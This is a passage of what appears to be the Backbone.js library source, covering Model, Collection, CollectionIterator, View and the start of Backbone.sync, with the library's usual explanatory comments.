        this.changed = {};
      }

      var current = this.attributes;
      var changed = this.changed;
      var prev    = this._previousAttributes;

      // For each `set` attribute, update or delete the current value.
      for (var attr in attrs) {
        val = attrs[attr];
        if (!_.isEqual(current[attr], val)) changes.push(attr);
        if (!_.isEqual(prev[attr], val)) {
          changed[attr] = val;
        } else {
          delete changed[attr];
        }
        unset ? delete current[attr] : current[attr] = val;
      }

      // Update the `id`.
      if (this.idAttribute in attrs) {
        var prevId = this.id;
        this.id = this.get(this.idAttribute);
        this.trigger('changeId', this, prevId, options);
      }

      // Trigger all relevant attribute changes.
      if (!silent) {
        if (changes.length) this._pending = options;
        for (var i = 0; i < changes.length; i++) {
          this.trigger('change:' + changes[i], this, current[changes[i]], options);
        }
      }

      // You might be wondering why there's a `while` loop here. Changes can
      // be recursively nested within `"change"` events.
      if (changing) return this;
      if (!silent) {
        while (this._pending) {
          options = this._pending;
          this._pending = false;
          this.trigger('change', this, options);
        }
      }
      this._pending = false;
      this._changing = false;
      return this;
    },

    // Remove an attribute from the model, firing `"change"`. `unset` is a noop
    // if the attribute doesn't exist.
    unset: function(attr, options) {
      return this.set(attr, void 0, _.extend({}, options, {unset: true}));
    },

    // Clear all attributes on the model, firing `"change"`.
    clear: function(options) {
      var attrs = {};
      for (var key in this.attributes) attrs[key] = void 0;
      return this.set(attrs, _.extend({}, options, {unset: true}));
    },

    // Determine if the model has changed since the last `"change"` event.
    // If you specify an attribute name, determine if that attribute has changed.
    hasChanged: function(attr) {
      if (attr == null) return !_.isEmpty(this.changed);
      return _.has(this.changed, attr);
    },

    // Return an object containing all the attributes that have changed, or
    // false if there are no changed attributes. Useful for determining what
    // parts of a view need to be updated and/or what attributes need to be
    // persisted to the server. Unset attributes will be set to undefined.
    // You can also pass an attributes object to diff against the model,
    // determining if there *would be* a change.
    changedAttributes: function(diff) {
      if (!diff) return this.hasChanged() ? _.clone(this.changed) : false;
      var old = this._changing ? this._previousAttributes : this.attributes;
      var changed = {};
      var hasChanged;
      for (var attr in diff) {
        var val = diff[attr];
        if (_.isEqual(old[attr], val)) continue;
        changed[attr] = val;
        hasChanged = true;
      }
      return hasChanged ? changed : false;
    },

    // Get the previous value of an attribute, recorded at the time the last
    // `"change"` event was fired.
    previous: function(attr) {
      if (attr == null || !this._previousAttributes) return null;
      return this._previousAttributes[attr];
    },

    // Get all of the attributes of the model at the time of the previous
    // `"change"` event.
    previousAttributes: function() {
      return _.clone(this._previousAttributes);
    },

    // Fetch the model from the server, merging the response with the model's
    // local attributes. Any changed attributes will trigger a "change" event.
    fetch: function(options) {
      options = _.extend({parse: true}, options);
      var model = this;
      var success = options.success;
      options.success = function(resp) {
        var serverAttrs = options.parse ? model.parse(resp, options) : resp;
        if (!model.set(serverAttrs, options)) return false;
        if (success) success.call(options.context, model, resp, options);
        model.trigger('sync', model, resp, options);
      };
      wrapError(this, options);
      return this.sync('read', this, options);
    },

    // Set a hash of model attributes, and sync the model to the server.
    // If the server returns an attributes hash that differs, the model's
    // state will be `set` again.
    save: function(key, val, options) {
      // Handle both `"key", value` and `{key: value}` -style arguments.
      var attrs;
      if (key == null || typeof key === 'object') {
        attrs = key;
        options = val;
      } else {
        (attrs = {})[key] = val;
      }

      options = _.extend({validate: true, parse: true}, options);
      var wait = options.wait;

      // If we're not waiting and attributes exist, save acts as
      // `set(attr).save(null, opts)` with validation. Otherwise, check if
      // the model will be valid when the attributes, if any, are set.
      if (attrs && !wait) {
        if (!this.set(attrs, options)) return false;
      } else if (!this._validate(attrs, options)) {
        return false;
      }

      // After a successful server-side save, the client is (optionally)
      // updated with the server-side state.
      var model = this;
      var success = options.success;
      var attributes = this.attributes;
      options.success = function(resp) {
        // Ensure attributes are restored during synchronous saves.
        model.attributes = attributes;
        var serverAttrs = options.parse ? model.parse(resp, options) : resp;
        if (wait) serverAttrs = _.extend({}, attrs, serverAttrs);
        if (serverAttrs && !model.set(serverAttrs, options)) return false;
        if (success) success.call(options.context, model, resp, options);
        model.trigger('sync', model, resp, options);
      };
      wrapError(this, options);

      // Set temporary attributes if `{wait: true}` to properly find new ids.
      if (attrs && wait) this.attributes = _.extend({}, attributes, attrs);

      var method = this.isNew() ? 'create' : options.patch ? 'patch' : 'update';
      if (method === 'patch' && !options.attrs) options.attrs = attrs;
      var xhr = this.sync(method, this, options);

      // Restore attributes.
      this.attributes = attributes;

      return xhr;
    },

    // Destroy this model on the server if it was already persisted.
    // Optimistically removes the model from its collection, if it has one.
    // If `wait: true` is passed, waits for the server to respond before removal.
    destroy: function(options) {
      options = options ? _.clone(options) : {};
      var model = this;
      var success = options.success;
      var wait = options.wait;

      var destroy = function() {
        model.stopListening();
        model.trigger('destroy', model, model.collection, options);
      };

      options.success = function(resp) {
        if (wait) destroy();
        if (success) success.call(options.context, model, resp, options);
        if (!model.isNew()) model.trigger('sync', model, resp, options);
      };

      var xhr = false;
      if (this.isNew()) {
        _.defer(options.success);
      } else {
        wrapError(this, options);
        xhr = this.sync('delete', this, options);
      }
      if (!wait) destroy();
      return xhr;
    },

    // Default URL for the model's representation on the server -- if you're
    // using Backbone's restful methods, override this to change the endpoint
    // that will be called.
    url: function() {
      var base =
        _.result(this, 'urlRoot') ||
        _.result(this.collection, 'url') ||
        urlError();
      if (this.isNew()) return base;
      var id = this.get(this.idAttribute);
      return base.replace(/[^\/]$/, '$&/') + encodeURIComponent(id);
    },

    // **parse** converts a response into the hash of attributes to be `set` on
    // the model. The default implementation is just to pass the response along.
    parse: function(resp, options) {
      return resp;
    },

    // Create a new model with identical attributes to this one.
    clone: function() {
      return new this.constructor(this.attributes);
    },

    // A model is new if it has never been saved to the server, and lacks an id.
    isNew: function() {
      return !this.has(this.idAttribute);
    },

    // Check if the model is currently in a valid state.
    isValid: function(options) {
      return this._validate({}, _.extend({}, options, {validate: true}));
    },

    // Run validation against the next complete set of model attributes,
    // returning `true` if all is well. Otherwise, fire an `"invalid"` event.
    _validate: function(attrs, options) {
      if (!options.validate || !this.validate) return true;
      attrs = _.extend({}, this.attributes, attrs);
      var error = this.validationError = this.validate(attrs, options) || null;
      if (!error) return true;
      this.trigger('invalid', this, error, _.extend(options, {validationError: error}));
      return false;
    }

  });

  // Backbone.Collection
  // -------------------

  // If models tend to represent a single row of data, a Backbone Collection is
  // more analogous to a table full of data ... or a small slice or page of that
  // table, or a collection of rows that belong together for a particular reason
  // -- all of the messages in this particular folder, all of the documents
  // belonging to this particular author, and so on. Collections maintain
  // indexes of their models, both in order, and for lookup by `id`.

  // Create a new **Collection**, perhaps to contain a specific type of `model`.
  // If a `comparator` is specified, the Collection will maintain
  // its models in sort order, as they're added and removed.
  var Collection = Backbone.Collection = function(models, options) {
    options || (options = {});
    this.preinitialize.apply(this, arguments);
    if (options.model) this.model = options.model;
    if (options.comparator !== void 0) this.comparator = options.comparator;
    this._reset();
    this.initialize.apply(this, arguments);
    if (models) this.reset(models, _.extend({silent: true}, options));
  };

  // Default options for `Collection#set`.
  var setOptions = {add: true, remove: true, merge: true};
  var addOptions = {add: true, remove: false};

  // Splices `insert` into `array` at index `at`.
  var splice = function(array, insert, at) {
    at = Math.min(Math.max(at, 0), array.length);
    var tail = Array(array.length - at);
    var length = insert.length;
    var i;
    for (i = 0; i < tail.length; i++) tail[i] = array[i + at];
    for (i = 0; i < length; i++) array[i + at] = insert[i];
    for (i = 0; i < tail.length; i++) array[i + length + at] = tail[i];
  };

  // Define the Collection's inheritable methods.
  _.extend(Collection.prototype, Events, {

    // The default model for a collection is just a **Backbone.Model**.
    // This should be overridden in most cases.
    model: Model,


    // preinitialize is an empty function by default. You can override it with a function
    // or object.  preinitialize will run before any instantiation logic is run in the Collection.
    preinitialize: function(){},

    // Initialize is an empty function by default. Override it with your own
    // initialization logic.
    initialize: function(){},

    // The JSON representation of a Collection is an array of the
    // models' attributes.
    toJSON: function(options) {
      return this.map(function(model) { return model.toJSON(options); });
    },

    // Proxy `Backbone.sync` by default.
    sync: function() {
      return Backbone.sync.apply(this, arguments);
    },

    // Add a model, or list of models to the set. `models` may be Backbone
    // Models or raw JavaScript objects to be converted to Models, or any
    // combination of the two.
    add: function(models, options) {
      return this.set(models, _.extend({merge: false}, options, addOptions));
    },

    // Remove a model, or a list of models from the set.
    remove: function(models, options) {
      options = _.extend({}, options);
      var singular = !_.isArray(models);
      models = singular ? [models] : models.slice();
      var removed = this._removeModels(models, options);
      if (!options.silent && removed.length) {
        options.changes = {added: [], merged: [], removed: removed};
        this.trigger('update', this, options);
      }
      return singular ? removed[0] : removed;
    },

    // Update a collection by `set`-ing a new list of models, adding new ones,
    // removing models that are no longer present, and merging models that
    // already exist in the collection, as necessary. Similar to **Model#set**,
    // the core operation for updating the data contained by the collection.
    set: function(models, options) {
      if (models == null) return;

      options = _.extend({}, setOptions, options);
      if (options.parse && !this._isModel(models)) {
        models = this.parse(models, options) || [];
      }

      var singular = !_.isArray(models);
      models = singular ? [models] : models.slice();

      var at = options.at;
      if (at != null) at = +at;
      if (at > this.length) at = this.length;
      if (at < 0) at += this.length + 1;

      var set = [];
      var toAdd = [];
      var toMerge = [];
      var toRemove = [];
      var modelMap = {};

      var add = options.add;
      var merge = options.merge;
      var remove = options.remove;

      var sort = false;
      var sortable = this.comparator && at == null && options.sort !== false;
      var sortAttr = _.isString(this.comparator) ? this.comparator : null;

      // Turn bare objects into model references, and prevent invalid models
      // from being added.
      var model, i;
      for (i = 0; i < models.length; i++) {
        model = models[i];

        // If a duplicate is found, prevent it from being added and
        // optionally merge it into the existing model.
        var existing = this.get(model);
        if (existing) {
          if (merge && model !== existing) {
            var attrs = this._isModel(model) ? model.attributes : model;
            if (options.parse) attrs = existing.parse(attrs, options);
            existing.set(attrs, options);
            toMerge.push(existing);
            if (sortable && !sort) sort = existing.hasChanged(sortAttr);
          }
          if (!modelMap[existing.cid]) {
            modelMap[existing.cid] = true;
            set.push(existing);
          }
          models[i] = existing;

        // If this is a new, valid model, push it to the `toAdd` list.
        } else if (add) {
          model = models[i] = this._prepareModel(model, options);
          if (model) {
            toAdd.push(model);
            this._addReference(model, options);
            modelMap[model.cid] = true;
            set.push(model);
          }
        }
      }

      // Remove stale models.
      if (remove) {
        for (i = 0; i < this.length; i++) {
          model = this.models[i];
          if (!modelMap[model.cid]) toRemove.push(model);
        }
        if (toRemove.length) this._removeModels(toRemove, options);
      }

      // See if sorting is needed, update `length` and splice in new models.
      var orderChanged = false;
      var replace = !sortable && add && remove;
      if (set.length && replace) {
        orderChanged = this.length !== set.length || _.some(this.models, function(m, index) {
          return m !== set[index];
        });
        this.models.length = 0;
        splice(this.models, set, 0);
        this.length = this.models.length;
      } else if (toAdd.length) {
        if (sortable) sort = true;
        splice(this.models, toAdd, at == null ? this.length : at);
        this.length = this.models.length;
      }

      // Silently sort the collection if appropriate.
      if (sort) this.sort({silent: true});

      // Unless silenced, it's time to fire all appropriate add/sort/update events.
      if (!options.silent) {
        for (i = 0; i < toAdd.length; i++) {
          if (at != null) options.index = at + i;
          model = toAdd[i];
          model.trigger('add', model, this, options);
        }
        if (sort || orderChanged) this.trigger('sort', this, options);
        if (toAdd.length || toRemove.length || toMerge.length) {
          options.changes = {
            added: toAdd,
            removed: toRemove,
            merged: toMerge
          };
          this.trigger('update', this, options);
        }
      }

      // Return the added (or merged) model (or models).
      return singular ? models[0] : models;
    },

    // When you have more items than you want to add or remove individually,
    // you can reset the entire set with a new list of models, without firing
    // any granular `add` or `remove` events. Fires `reset` when finished.
    // Useful for bulk operations and optimizations.
    reset: function(models, options) {
      options = options ? _.clone(options) : {};
      for (var i = 0; i < this.models.length; i++) {
        this._removeReference(this.models[i], options);
      }
      options.previousModels = this.models;
      this._reset();
      models = this.add(models, _.extend({silent: true}, options));
      if (!options.silent) this.trigger('reset', this, options);
      return models;
    },

    // Add a model to the end of the collection.
    push: function(model, options) {
      return this.add(model, _.extend({at: this.length}, options));
    },

    // Remove a model from the end of the collection.
    pop: function(options) {
      var model = this.at(this.length - 1);
      return this.remove(model, options);
    },

    // Add a model to the beginning of the collection.
    unshift: function(model, options) {
      return this.add(model, _.extend({at: 0}, options));
    },

    // Remove a model from the beginning of the collection.
    shift: function(options) {
      var model = this.at(0);
      return this.remove(model, options);
    },

    // Slice out a sub-array of models from the collection.
    slice: function() {
      return slice.apply(this.models, arguments);
    },

    // Get a model from the set by id, cid, model object with id or cid
    // properties, or an attributes object that is transformed through modelId.
    get: function(obj) {
      if (obj == null) return void 0;
      return this._byId[obj] ||
        this._byId[this.modelId(this._isModel(obj) ? obj.attributes : obj, obj.idAttribute)] ||
        obj.cid && this._byId[obj.cid];
    },

    // Returns `true` if the model is in the collection.
    has: function(obj) {
      return this.get(obj) != null;
    },

    // Get the model at the given index.
    at: function(index) {
      if (index < 0) index += this.length;
      return this.models[index];
    },

    // Return models with matching attributes. Useful for simple cases of
    // `filter`.
    where: function(attrs, first) {
      return this[first ? 'find' : 'filter'](attrs);
    },

    // Return the first model with matching attributes. Useful for simple cases
    // of `find`.
    findWhere: function(attrs) {
      return this.where(attrs, true);
    },

    // Force the collection to re-sort itself. You don't need to call this under
    // normal circumstances, as the set will maintain sort order as each item
    // is added.
    sort: function(options) {
      var comparator = this.comparator;
      if (!comparator) throw new Error('Cannot sort a set without a comparator');
      options || (options = {});

      var length = comparator.length;
      if (_.isFunction(comparator)) comparator = comparator.bind(this);

      // Run sort based on type of `comparator`.
      if (length === 1 || _.isString(comparator)) {
        this.models = this.sortBy(comparator);
      } else {
        this.models.sort(comparator);
      }
      if (!options.silent) this.trigger('sort', this, options);
      return this;
    },

    // Pluck an attribute from each model in the collection.
    pluck: function(attr) {
      return this.map(attr + '');
    },

    // Fetch the default set of models for this collection, resetting the
    // collection when they arrive. If `reset: true` is passed, the response
    // data will be passed through the `reset` method instead of `set`.
    fetch: function(options) {
      options = _.extend({parse: true}, options);
      var success = options.success;
      var collection = this;
      options.success = function(resp) {
        var method = options.reset ? 'reset' : 'set';
        collection[method](resp, options);
        if (success) success.call(options.context, collection, resp, options);
        collection.trigger('sync', collection, resp, options);
      };
      wrapError(this, options);
      return this.sync('read', this, options);
    },

    // Create a new instance of a model in this collection. Add the model to the
    // collection immediately, unless `wait: true` is passed, in which case we
    // wait for the server to agree.
    create: function(model, options) {
      options = options ? _.clone(options) : {};
      var wait = options.wait;
      model = this._prepareModel(model, options);
      if (!model) return false;
      if (!wait) this.add(model, options);
      var collection = this;
      var success = options.success;
      options.success = function(m, resp, callbackOpts) {
        if (wait) {
          m.off('error', collection._forwardPristineError, collection);
          collection.add(m, callbackOpts);
        }
        if (success) success.call(callbackOpts.context, m, resp, callbackOpts);
      };
      // In case of wait:true, our collection is not listening to any
      // of the model's events yet, so it will not forward the error
      // event. In this special case, we need to listen for it
      // separately and handle the event just once.
      // (The reason we don't need to do this for the sync event is
      // in the success handler above: we add the model first, which
      // causes the collection to listen, and then invoke the callback
      // that triggers the event.)
      if (wait) {
        model.once('error', this._forwardPristineError, this);
      }
      model.save(null, options);
      return model;
    },

    // **parse** converts a response into a list of models to be added to the
    // collection. The default implementation is just to pass it through.
    parse: function(resp, options) {
      return resp;
    },

    // Create a new collection with an identical list of models as this one.
    clone: function() {
      return new this.constructor(this.models, {
        model: this.model,
        comparator: this.comparator
      });
    },

    // Define how to uniquely identify models in the collection.
    modelId: function(attrs, idAttribute) {
      return attrs[idAttribute || this.model.prototype.idAttribute || 'id'];
    },

    // Get an iterator of all models in this collection.
    values: function() {
      return new CollectionIterator(this, ITERATOR_VALUES);
    },

    // Get an iterator of all model IDs in this collection.
    keys: function() {
      return new CollectionIterator(this, ITERATOR_KEYS);
    },

    // Get an iterator of all [ID, model] tuples in this collection.
    entries: function() {
      return new CollectionIterator(this, ITERATOR_KEYSVALUES);
    },

    // Private method to reset all internal state. Called when the collection
    // is first initialized or reset.
    _reset: function() {
      this.length = 0;
      this.models = [];
      this._byId  = {};
    },

    // Prepare a hash of attributes (or other model) to be added to this
    // collection.
    _prepareModel: function(attrs, options) {
      if (this._isModel(attrs)) {
        if (!attrs.collection) attrs.collection = this;
        return attrs;
      }
      options = options ? _.clone(options) : {};
      options.collection = this;

      var model;
      if (this.model.prototype) {
        model = new this.model(attrs, options);
      } else {
        // ES class methods didn't have prototype
        model = this.model(attrs, options);
      }

      if (!model.validationError) return model;
      this.trigger('invalid', this, model.validationError, options);
      return false;
    },

    // Internal method called by both remove and set.
    _removeModels: function(models, options) {
      var removed = [];
      for (var i = 0; i < models.length; i++) {
        var model = this.get(models[i]);
        if (!model) continue;

        var index = this.indexOf(model);
        this.models.splice(index, 1);
        this.length--;

        // Remove references before triggering 'remove' event to prevent an
        // infinite loop. #3693
        delete this._byId[model.cid];
        var id = this.modelId(model.attributes, model.idAttribute);
        if (id != null) delete this._byId[id];

        if (!options.silent) {
          options.index = index;
          model.trigger('remove', model, this, options);
        }

        removed.push(model);
        this._removeReference(model, options);
      }
      if (models.length > 0 && !options.silent) delete options.index;
      return removed;
    },

    // Method for checking whether an object should be considered a model for
    // the purposes of adding to the collection.
    _isModel: function(model) {
      return model instanceof Model;
    },

    // Internal method to create a model's ties to a collection.
    _addReference: function(model, options) {
      this._byId[model.cid] = model;
      var id = this.modelId(model.attributes, model.idAttribute);
      if (id != null) this._byId[id] = model;
      model.on('all', this._onModelEvent, this);
    },

    // Internal method to sever a model's ties to a collection.
    _removeReference: function(model, options) {
      delete this._byId[model.cid];
      var id = this.modelId(model.attributes, model.idAttribute);
      if (id != null) delete this._byId[id];
      if (this === model.collection) delete model.collection;
      model.off('all', this._onModelEvent, this);
    },

    // Internal method called every time a model in the set fires an event.
    // Sets need to update their indexes when models change ids. All other
    // events simply proxy through. "add" and "remove" events that originate
    // in other collections are ignored.
    _onModelEvent: function(event, model, collection, options) {
      if (model) {
        if ((event === 'add' || event === 'remove') && collection !== this) return;
        if (event === 'destroy') this.remove(model, options);
        if (event === 'changeId') {
          var prevId = this.modelId(model.previousAttributes(), model.idAttribute);
          var id = this.modelId(model.attributes, model.idAttribute);
          if (prevId != null) delete this._byId[prevId];
          if (id != null) this._byId[id] = model;
        }
      }
      this.trigger.apply(this, arguments);
    },

    // Internal callback method used in `create`. It serves as a
    // stand-in for the `_onModelEvent` method, which is not yet bound
    // during the `wait` period of the `create` call. We still want to
    // forward any `'error'` event at the end of the `wait` period,
    // hence a customized callback.
    _forwardPristineError: function(model, collection, options) {
      // Prevent double forward if the model was already in the
      // collection before the call to `create`.
      if (this.has(model)) return;
      this._onModelEvent('error', model, collection, options);
    }
  });

  // Defining an @@iterator method implements JavaScript's Iterable protocol.
  // In modern ES2015 browsers, this value is found at Symbol.iterator.
  /* global Symbol */
  var $$iterator = typeof Symbol === 'function' && Symbol.iterator;
  if ($$iterator) {
    Collection.prototype[$$iterator] = Collection.prototype.values;
  }

  // CollectionIterator
  // ------------------

  // A CollectionIterator implements JavaScript's Iterator protocol, allowing the
  // use of `for of` loops in modern browsers and interoperation between
  // Backbone.Collection and other JavaScript functions and third-party libraries
  // which can operate on Iterables.
  var CollectionIterator = function(collection, kind) {
    this._collection = collection;
    this._kind = kind;
    this._index = 0;
  };

  // This "enum" defines the three possible kinds of values which can be emitted
  // by a CollectionIterator that correspond to the values(), keys() and entries()
  // methods on Collection, respectively.
  var ITERATOR_VALUES = 1;
  var ITERATOR_KEYS = 2;
  var ITERATOR_KEYSVALUES = 3;

  // All Iterators should themselves be Iterable.
  if ($$iterator) {
    CollectionIterator.prototype[$$iterator] = function() {
      return this;
    };
  }

  CollectionIterator.prototype.next = function() {
    if (this._collection) {

      // Only continue iterating if the iterated collection is long enough.
      if (this._index < this._collection.length) {
        var model = this._collection.at(this._index);
        this._index++;

        // Construct a value depending on what kind of values should be iterated.
        var value;
        if (this._kind === ITERATOR_VALUES) {
          value = model;
        } else {
          var id = this._collection.modelId(model.attributes, model.idAttribute);
          if (this._kind === ITERATOR_KEYS) {
            value = id;
          } else { // ITERATOR_KEYSVALUES
            value = [id, model];
          }
        }
        return {value: value, done: false};
      }

      // Once exhausted, remove the reference to the collection so future
      // calls to the next method always return done.
      this._collection = void 0;
    }

    return {value: void 0, done: true};
  };

  // Backbone.View
  // -------------

  // Backbone Views are almost more convention than they are actual code. A View
  // is simply a JavaScript object that represents a logical chunk of UI in the
  // DOM. This might be a single item, an entire list, a sidebar or panel, or
  // even the surrounding frame which wraps your whole app. Defining a chunk of
  // UI as a **View** allows you to define your DOM events declaratively, without
  // having to worry about render order ... and makes it easy for the view to
  // react to specific changes in the state of your models.

  // Creating a Backbone.View creates its initial element outside of the DOM,
  // if an existing element is not provided...
  var View = Backbone.View = function(options) {
    this.cid = _.uniqueId('view');
    this.preinitialize.apply(this, arguments);
    _.extend(this, _.pick(options, viewOptions));
    this._ensureElement();
    this.initialize.apply(this, arguments);
  };

  // Cached regex to split keys for `delegate`.
  var delegateEventSplitter = /^(\S+)\s*(.*)$/;

  // List of view options to be set as properties.
  var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events'];

  // Set up all inheritable **Backbone.View** properties and methods.
  _.extend(View.prototype, Events, {

    // The default `tagName` of a View's element is `"div"`.
    tagName: 'div',

    // jQuery delegate for element lookup, scoped to DOM elements within the
    // current view. This should be preferred to global lookups where possible.
    $: function(selector) {
      return this.$el.find(selector);
    },

    // preinitialize is an empty function by default. You can override it with a function
    // or object.  preinitialize will run before any instantiation logic is run in the View
    preinitialize: function(){},

    // Initialize is an empty function by default. Override it with your own
    // initialization logic.
    initialize: function(){},

    // **render** is the core function that your view should override, in order
    // to populate its element (`this.el`), with the appropriate HTML. The
    // convention is for **render** to always return `this`.
    render: function() {
      return this;
    },

    // Remove this view by taking the element out of the DOM, and removing any
    // applicable Backbone.Events listeners.
    remove: function() {
      this._removeElement();
      this.stopListening();
      return this;
    },

    // Remove this view's element from the document and all event listeners
    // attached to it. Exposed for subclasses using an alternative DOM
    // manipulation API.
    _removeElement: function() {
      this.$el.remove();
    },

    // Change the view's element (`this.el` property) and re-delegate the
    // view's events on the new element.
    setElement: function(element) {
      this.undelegateEvents();
      this._setElement(element);
      this.delegateEvents();
      return this;
    },

    // Creates the `this.el` and `this.$el` references for this view using the
    // given `el`. `el` can be a CSS selector or an HTML string, a jQuery
    // context or an element. Subclasses can override this to utilize an
    // alternative DOM manipulation API and are only required to set the
    // `this.el` property.
    _setElement: function(el) {
      this.$el = el instanceof Backbone.$ ? el : Backbone.$(el);
      this.el = this.$el[0];
    },

    // Set callbacks, where `this.events` is a hash of
    //
    // *{"event selector": "callback"}*
    //
    //     {
    //       'mousedown .title':  'edit',
    //       'click .button':     'save',
    //       'click .open':       function(e) { ... }
    //     }
    //
    // pairs. Callbacks will be bound to the view, with `this` set properly.
    // Uses event delegation for efficiency.
    // Omitting the selector binds the event to `this.el`.
    delegateEvents: function(events) {
      events || (events = _.result(this, 'events'));
      if (!events) return this;
      this.undelegateEvents();
      for (var key in events) {
        var method = events[key];
        if (!_.isFunction(method)) method = this[method];
        if (!method) continue;
        var match = key.match(delegateEventSplitter);
        this.delegate(match[1], match[2], method.bind(this));
      }
      return this;
    },

    // Add a single event listener to the view's element (or a child element
    // using `selector`). This only works for delegate-able events: not `focus`,
    // `blur`, and not `change`, `submit`, and `reset` in Internet Explorer.
    delegate: function(eventName, selector, listener) {
      this.$el.on(eventName + '.delegateEvents' + this.cid, selector, listener);
      return this;
    },

    // Clears all callbacks previously bound to the view by `delegateEvents`.
    // You usually don't need to use this, but may wish to if you have multiple
    // Backbone views attached to the same DOM element.
    undelegateEvents: function() {
      if (this.$el) this.$el.off('.delegateEvents' + this.cid);
      return this;
    },

    // A finer-grained `undelegateEvents` for removing a single delegated event.
    // `selector` and `listener` are both optional.
    undelegate: function(eventName, selector, listener) {
      this.$el.off(eventName + '.delegateEvents' + this.cid, selector, listener);
      return this;
    },

    // Produces a DOM element to be assigned to your view. Exposed for
    // subclasses using an alternative DOM manipulation API.
    _createElement: function(tagName) {
      return document.createElement(tagName);
    },

    // Ensure that the View has a DOM element to render into.
    // If `this.el` is a string, pass it through `$()`, take the first
    // matching element, and re-assign it to `el`. Otherwise, create
    // an element from the `id`, `className` and `tagName` properties.
    _ensureElement: function() {
      if (!this.el) {
        var attrs = _.extend({}, _.result(this, 'attributes'));
        if (this.id) attrs.id = _.result(this, 'id');
        if (this.className) attrs['class'] = _.result(this, 'className');
        this.setElement(this._createElement(_.result(this, 'tagName')));
        this._setAttributes(attrs);
      } else {
        this.setElement(_.result(this, 'el'));
      }
    },

    // Set attributes from a hash on this view's element.  Exposed for
    // subclasses using an alternative DOM manipulation API.
    _setAttributes: function(attributes) {
      this.$el.attr(attributes);
    }

  });

  // Proxy Backbone class methods to Underscore functions, wrapping the model's
  // `attributes` object or collection's `models` array behind the scenes.
  //
  // collection.filter(function(model) { return model.get('age') > 10 });
  // collection.each(this.addView);
  //
  // `Function#apply` can be slow so we use the method's arg count, if we know it.
  var addMethod = function(base, length, method, attribute) {
    switch (length) {
      case 1: return function() {
        return base[method](this[attribute]);
      };
      case 2: return function(value) {
        return base[method](this[attribute], value);
      };
      case 3: return function(iteratee, context) {
        return base[method](this[attribute], cb(iteratee, this), context);
      };
      case 4: return function(iteratee, defaultVal, context) {
        return base[method](this[attribute], cb(iteratee, this), defaultVal, context);
      };
      default: return function() {
        var args = slice.call(arguments);
        args.unshift(this[attribute]);
        return base[method].apply(base, args);
      };
    }
  };

  var addUnderscoreMethods = function(Class, base, methods, attribute) {
    _.each(methods, function(length, method) {
      if (base[method]) Class.prototype[method] = addMethod(base, length, method, attribute);
    });
  };

  // Support `collection.sortBy('attr')` and `collection.findWhere({id: 1})`.
  var cb = function(iteratee, instance) {
    if (_.isFunction(iteratee)) return iteratee;
    if (_.isObject(iteratee) && !instance._isModel(iteratee)) return modelMatcher(iteratee);
    if (_.isString(iteratee)) return function(model) { return model.get(iteratee); };
    return iteratee;
  };
  var modelMatcher = function(attrs) {
    var matcher = _.matches(attrs);
    return function(model) {
      return matcher(model.attributes);
    };
  };

  // Underscore methods that we want to implement on the Collection.
  // 90% of the core usefulness of Backbone Collections is actually implemented
  // right here:
  var collectionMethods = {forEach: 3, each: 3, map: 3, collect: 3, reduce: 0,
    foldl: 0, inject: 0, reduceRight: 0, foldr: 0, find: 3, detect: 3, filter: 3,
    select: 3, reject: 3, every: 3, all: 3, some: 3, any: 3, include: 3, includes: 3,
    contains: 3, invoke: 0, max: 3, min: 3, toArray: 1, size: 1, first: 3,
    head: 3, take: 3, initial: 3, rest: 3, tail: 3, drop: 3, last: 3,
    without: 0, difference: 0, indexOf: 3, shuffle: 1, lastIndexOf: 3,
    isEmpty: 1, chain: 1, sample: 3, partition: 3, groupBy: 3, countBy: 3,
    sortBy: 3, indexBy: 3, findIndex: 3, findLastIndex: 3};


  // Underscore methods that we want to implement on the Model, mapped to the
  // number of arguments they take.
  var modelMethods = {keys: 1, values: 1, pairs: 1, invert: 1, pick: 0,
    omit: 0, chain: 1, isEmpty: 1};

  // Mix in each Underscore method as a proxy to `Collection#models`.

  _.each([
    [Collection, collectionMethods, 'models'],
    [Model, modelMethods, 'attributes']
  ], function(config) {
    var Base = config[0],
        methods = config[1],
        attribute = config[2];

    Base.mixin = function(obj) {
      var mappings = _.reduce(_.functions(obj), function(memo, name) {
        memo[name] = 0;
        return memo;
      }, {});
      addUnderscoreMethods(Base, obj, mappings, attribute);
    };

    addUnderscoreMethods(Base, _, methods, attribute);
  });

  // Backbone.sync
  // -------------

  // Override this function to change the manner in which Backbone persists
  // models to the server. You will be passed the type of request, and the
  // model in question. By default, makes a RESTful Ajax request
  // to the model's `url()`. Some possible customizations could be:
  //
  // * Use `setTimeout` to batch rapid-fire updates into a single request.
  // * Send up the models as XML instead of JSON.
  // * Persist models via WebSockets instead of Ajax.
  //
  // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests
  // as `POST`, with a `_method` parameter containing the true HTTP method,
  // as well as all requests with the body as `application/x-www-form-urlencoded`
  // instead of `application/json` with the model in a param named `model`.
  // Useful when interfacing with server-side languages like **PHP** that make
  // it difficult to read the body of `PUT` requests.
  Backbone.sync = function(method, model, options) {
    var type = methodMap[method];

    // Default options, unless specified.
    _.defaults(options || (options = {}), {
      emulateHTTP: Backbone.emulateHTTP,
      emulateJSON: Backbone.emulateJSON
    });

    // Default JSON-request options.
    var params = {type: type, dataType: 'json'};

    // Ensure that we have a URL.
    if (!options.url) {
      params.url = _.result(model, 'url') || urlError();
    }

    // Ensure that we have the appropriate request data.
    if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) {
      params.contentType = 'application/json';
      params.data = JSON.stringify(options.attrs || model.toJSON(options));
    }

    // For older servers, emulate JSON by encoding the request into an HTML-form.
    if (options.emulateJSON) {
      params.contentType = 'application/x-www-form-urlencoded';
      params.data = params.data ? {model: params.data} : {};
    }

    // For older servers, emulate HTTP by mimicking the HTTP method with `_method`
    // And an `X-HTTP-Method-Override` header.
    if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) {
      params.type = 'POST';
      if (options.emulateJSON) params.data._method = type;
      var beforeSend = options.beforeSend;
      options.beforeSend = function(xhr) {
        xhr.setRequestHeader('X-HTTP-Method-Override', type);
        if (beforeSend) return beforeSend.apply(this, arguments);
      };
    }

    // Don't process data on a non-GET request.
    if (params.type !== 'GET' && !options.emulateJSON) {
      params.processData = false;
    }

    // Pass along `textStatus` and `errorThrown` from jQuery.
    var error = options.error;
    options.error = function(xhr, textStatus, errorThrown) {
      options.textStatus = textStatus;
      options.errorThrown = errorThrown;
      if (error) error.call(options.context, xhr, textStatus, errorThrown);
    };

    // Make the request, allowing the user to override any Ajax options.
